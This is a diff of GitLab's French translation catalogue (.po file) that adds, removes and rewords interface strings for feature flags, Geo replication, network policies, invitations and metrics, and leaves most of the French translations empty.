@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr "Étendre la barre latérale"
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr "Date d’expiration"
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr "Couleur de la police"
msgid "Footer message"
msgstr "Message de pied de page"
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr "Pour les projets internes, tout utilisateur connecté peut afficher les pipelines et accéder aux détails des tâches (journaux de sortie et artefacts)"
@@ -10895,30 +11223,15 @@ msgstr "Le nœud est défaillant ou en panne."
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr "Le nœud est lent, surchargé, ou il vient juste de se rétablir après une indisponibilité."
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr "Vérifié par somme de contrôle"
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr "Latence de la réplication des données"
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr "Ne correspond pas à la configuration du stockage principal"
-msgid "GeoNodes|Failed"
-msgstr "Échec"
-
msgid "GeoNodes|Full"
msgstr "Complet"
@@ -10934,12 +11247,6 @@ msgstr "État de santé"
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr "Dernier identifiant d’événement traité par le curseur"
@@ -10967,12 +11274,6 @@ msgstr "Le nœud a été supprimé avec succès."
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr "Non vérifié par somme de contrôle"
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr "Emplacements de réplication"
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr "Dépôts"
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr "Progression du calcul de la somme de contrôle du dépôt"
-
-msgid "GeoNodes|Repository verification progress"
-msgstr "Progression de la vérification du dépôt"
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr "Paramètres de synchronisation"
msgid "GeoNodes|Unused slots"
msgstr "Emplacements non utilisés"
-msgid "GeoNodes|Unverified"
-msgstr "Non vérifié"
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr "Emplacements utilisés"
-msgid "GeoNodes|Verified"
-msgstr "Vérifié"
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr "Progression du calcul de la somme de contrôle du wiki"
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr "Progression de la vérification du wiki"
-
-msgid "GeoNodes|Wikis"
-msgstr "Wikis"
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr "État de Geo"
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr "Vérification en échec — %{error}"
msgid "Geo|Waiting for scheduler"
msgstr "En attente de planification"
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr "Consultez le site de %{link_to_google_takeout}."
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Empêcher le partage d’un projet du groupe %{group} avec d’autres groupes"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr "L’état des services peut être récupéré depuis les emplacements su
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr "Le jeton d’accès est"
@@ -12341,6 +12639,9 @@ msgstr "En mauvaise santé"
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "Aide"
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,14 +13123,14 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
-msgstr "Améliorez vos recherches avec la recherche globale avancée de GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
-msgstr "Afin d’activer les statistiques au niveau de l’instance, veuillez demander à un administrateur d’activer la %{usage_ping_link_start}collecte des données d’utilisation%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
+msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
msgstr ""
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr "À la prochaine étape, vous pourrez sélectionner les projets que vous souhaitez importer."
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr "Indique si l’exécuteur peut choisir des tâches sans étiquettes (tags)"
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,8 +13353,8 @@ msgstr[1] "Instances"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
-msgstr "Visibilité des statistiques de l’instance"
+msgid "Instance Statistics"
+msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr "Modèle d’intervalle"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr "Ticket"
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr "Tableaux des tickets"
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr "Tickets"
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,8 +14217,8 @@ msgstr "Les étiquettes peuvent être appliquées aux tickets et aux demandes de
msgid "Labels can be applied to issues and merge requests."
msgstr "Les étiquettes peuvent être appliquées aux tickets et aux demandes de fusion."
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
-msgstr "<span>Promouvoir l’étiquette</span> %{labelTitle} <span>en étiquette de groupe ?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
msgid "Labels|Promote Label"
msgstr "Promouvoir l’étiquette"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr "Licences"
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr "Lister vos dépôts Gitea"
msgid "List available repositories"
msgstr "Lister les dépôts disponibles"
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr "Prévisualisation"
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,8 +14788,8 @@ msgstr "Verrou non trouvé"
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
-msgstr "Verrouiller ce·t·te %{issuableDisplayName} ? Seuls les <strong>membres du projet</strong> seront en mesure de commenter."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
+msgstr ""
msgid "Lock to current projects"
msgstr "Verrouiller aux projets en cours"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr "Importation de fichier manifeste"
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr "Métadonnées Maven"
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr "Membres"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr "Demandes de fusion"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "Demandes de fusion créées"
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr "Métriques"
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr "Consultez la documentation sur l’intégration et la livraison continues (CI/CD) concernant le déploiement dans un environnement"
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr "Créer une métrique"
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr "Pour regrouper des métriques similaires"
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr "La requête doit être une requête PromQL valide."
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr "Documentation des requêtes Prometheus"
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr "Libellé de l’axe Y"
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "La liste des jalons n’est pas disponible avec votre licence actuelle"
msgid "Milestone lists show all issues from the selected milestone."
msgstr "Les listes de jalon affichent tous les tickets à partir du jalon sélectionné."
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr "Supervision"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "Mois"
@@ -15811,12 +16268,45 @@ msgstr "Réseau"
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr "Jamais"
@@ -16296,12 +16849,18 @@ msgstr "Aucun dépôt"
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr "Aucun exécuteur trouvé"
msgid "No schedules"
msgstr "Aucune planification"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr "novembre"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr "OK"
